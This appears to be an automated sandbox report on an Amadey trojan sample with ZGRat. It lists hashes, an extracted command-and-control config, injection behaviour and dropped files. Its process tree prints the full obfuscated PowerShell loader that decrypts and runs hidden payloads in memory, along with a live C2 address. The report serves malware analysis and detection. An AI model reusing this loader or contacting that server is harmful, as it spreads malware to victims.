amadey | 49128966da54f55e6fd663f8bb8da56e800de17363a33d53e8fc370e29f34e20

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/01/2024, 04:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ama.exe
Size 6.1MB
Sample240122-e3nqlagfg4
SHA256 49128966da54f55e6fd663f8bb8da56e800de17363a33d53e8fc370e29f34e20
MD5 f29e03482ef250e5c8f2014f660bb86a
SHA1 b2d2c6a09b5ad1566bcc3af92fcd4d6be1406bc1
SHA512 6e55b10c973b38ceea3aa659ca7071a4024792e56c9cca7d9fb96a59c82e49d311eb5dd27ebbd35a8a82c75c51a385b37a3ed07248e60f08088b0c7e7eecd4ae
SSDEEP 98304:6yAkHknbi4rnhhyQxDD7FuFMWC9qum/kQQfteIpj:6yATnbi4lhy8jsFMD3mPypj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

amadey zgrat rat trojan

Malware Config

Extracted

Family

amadey

Version

4.15

http://185.172.128.63

Attributes

install_dir
6187fcb526
install_file
Dctooux.exe
strings_key
cd3b2619c9009c441355ae581d53163e
url_paths
/v8sjh3hs8/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral1/memory/3032-0-0x0000000000040000-0x000000000065E000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Loads dropped DLL 1 IoCs

pid	Process
3032	ama.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3032 set thread context of 2736	3032	ama.exe	28

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2576	3032	WerFault.exe	27

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1156	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2736	3032	ama.exe	28
PID 3032 wrote to memory of 2576	3032	ama.exe	29
PID 3032 wrote to memory of 2576	3032	ama.exe	29
PID 3032 wrote to memory of 2576	3032	ama.exe	29
PID 3032 wrote to memory of 2576	3032	ama.exe	29
PID 2736 wrote to memory of 2876	2736	RegSvcs.exe	31
PID 2736 wrote to memory of 2876	2736	RegSvcs.exe	31
PID 2736 wrote to memory of 2876	2736	RegSvcs.exe	31
PID 2736 wrote to memory of 2876	2736	RegSvcs.exe	31
PID 2876 wrote to memory of 2908	2876	cmd.exe	33
PID 2876 wrote to memory of 2908	2876	cmd.exe	33
PID 2876 wrote to memory of 2908	2876	cmd.exe	33
PID 2876 wrote to memory of 2908	2876	cmd.exe	33
PID 2908 wrote to memory of 732	2908	cmd.exe	35
PID 2908 wrote to memory of 732	2908	cmd.exe	35
PID 2908 wrote to memory of 732	2908	cmd.exe	35
PID 2908 wrote to memory of 732	2908	cmd.exe	35
PID 2908 wrote to memory of 1156	2908	cmd.exe	36
PID 2908 wrote to memory of 1156	2908	cmd.exe	36
PID 2908 wrote to memory of 1156	2908	cmd.exe	36
PID 2908 wrote to memory of 1156	2908	cmd.exe	36

C:\Users\Admin\AppData\Local\Temp\ama.exe
"C:\Users\Admin\AppData\Local\Temp\ama.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2908
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "
        5⤵
        
        PID:732
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1156
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3032 -s 728
  2⤵
  - Program crash
  PID:2576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DoNothing.cmd

Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
Size 229KB
SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
MD5 4c2a5540e7e7adb88c94df8e1967c468
SHA1 979725fcb62a3492d7dbd3bfdc75e51087dc677b
SHA512 7a964e6b10260854b18f4aa3af09e52d4a992bb4f7066f7e51b268696e8be5d405cce1e9dd392e70c2f321072a263dd9511d1c71cdf660449d786ec9c4bd3861
SSDEEP 6144:Lw9eynETNBLMJSgt9Zu+9aVg21lbBuuCjGo4u4PMrXr:5TLM7cb4uCy+37
MD5 SHA1 SHA512 SSDEEP

Submit Download

sc.exe

Path C:\Users\Admin\AppData\Local\Temp\1001035001\sc.exe
Size 72KB
SHA256 08aec539e9588739592d2786661a41cd2247c44a5854a74a6909e303ad5e1cc4
MD5 5016aa2066184f19406dea67e35deb89
SHA1 2ac623542a5b347280bb8e4ae40b68b12c098d03
SHA512 dfb522f8ce34eb7fad5975f29552bf73ce9a5823f6f547a70a0ca7a908db9ba7c336b5eef303d0a6e2f4692468da983ed40da9f5ebe7f6bf54631c1cae8b53e9
SSDEEP 1536:OEQ8a5o41p3XaEGnq0S/iz0wTeXdIlAiwzJlwZDn6ZIN/t87QMbLTO4Z9fY1Vq2P:/y5o4f3XUnq08iz0wTeUwzPwVn6ZINFP
MD5 SHA1 SHA512 SSDEEP

Submit Download

CabCDCC.tmp

Path C:\Users\Admin\AppData\Local\Temp\CabCDCC.tmp
Size 65KB
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
SSDEEP 1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5 SHA1 SHA512 SSDEEP

Submit Download

TarCE4C.tmp

Path C:\Users\Admin\AppData\Local\Temp\TarCE4C.tmp
Size 171KB
SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
MD5 9c0c641c06238516f27941aa1166d427
SHA1 64cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA512 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
SSDEEP 1536:+AuJ+lCUs0RvWqgCyPW5BXNWdm1wpyru2/3EwjYoz0VDTrubmt6mJp:+9J+q0RuXCyfdmAyru2/RAKtgp
MD5 SHA1 SHA512 SSDEEP

Submit Download

Protect544cd51a.dll

Path \Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
Size 742KB
SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
MD5 544cd51a596619b78e9b54b70088307d
SHA1 4769ddd2dbc1dc44b758964ed0bd231b85880b65
SHA512 f56d8b81022bb132d40aa78596da39b5c212d13b84b5c7d2c576bbf403924f1d22e750de3b09d1be30aea359f1b72c5043b19685fc9bf06d8040bfee16b17719
SSDEEP 12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1156-76-0x000000006FD80000-0x000000007032B000-memory.dmp

Download

memory/1156-134-0x000000006FD80000-0x000000007032B000-memory.dmp

Download

memory/1156-88-0x00000000024B0000-0x00000000024F0000-memory.dmp

Download

memory/1156-86-0x00000000024B0000-0x00000000024F0000-memory.dmp

Download

memory/1156-85-0x000000006FD80000-0x000000007032B000-memory.dmp

Download

memory/1156-135-0x00000000024B0000-0x00000000024F0000-memory.dmp

Download

memory/2736-26-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-22-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-56-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-48-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-125-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-122-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-20-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-38-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-24-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-28-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-32-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Download

memory/2736-34-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-30-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-36-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2736-37-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/3032-16-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-99-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-18-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-17-0x0000000007020000-0x0000000007120000-memory.dmp

Download

memory/3032-1-0x0000000073E00000-0x00000000744EE000-memory.dmp

Download

memory/3032-15-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-14-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-12-0x0000000000A70000-0x0000000000A80000-memory.dmp

Download

memory/3032-13-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-11-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-10-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-87-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-100-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-19-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-5-0x0000000006C70000-0x0000000006E02000-memory.dmp

Download

memory/3032-4-0x0000000005A40000-0x0000000005C70000-memory.dmp

Download

memory/3032-3-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-126-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-127-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-128-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-129-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-130-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-131-0x0000000007020000-0x0000000007120000-memory.dmp

Download

memory/3032-132-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-133-0x00000000052E0000-0x0000000005320000-memory.dmp

Download

memory/3032-2-0x0000000073E00000-0x00000000744EE000-memory.dmp

Download

memory/3032-0-0x0000000000040000-0x000000000065E000-memory.dmp

Download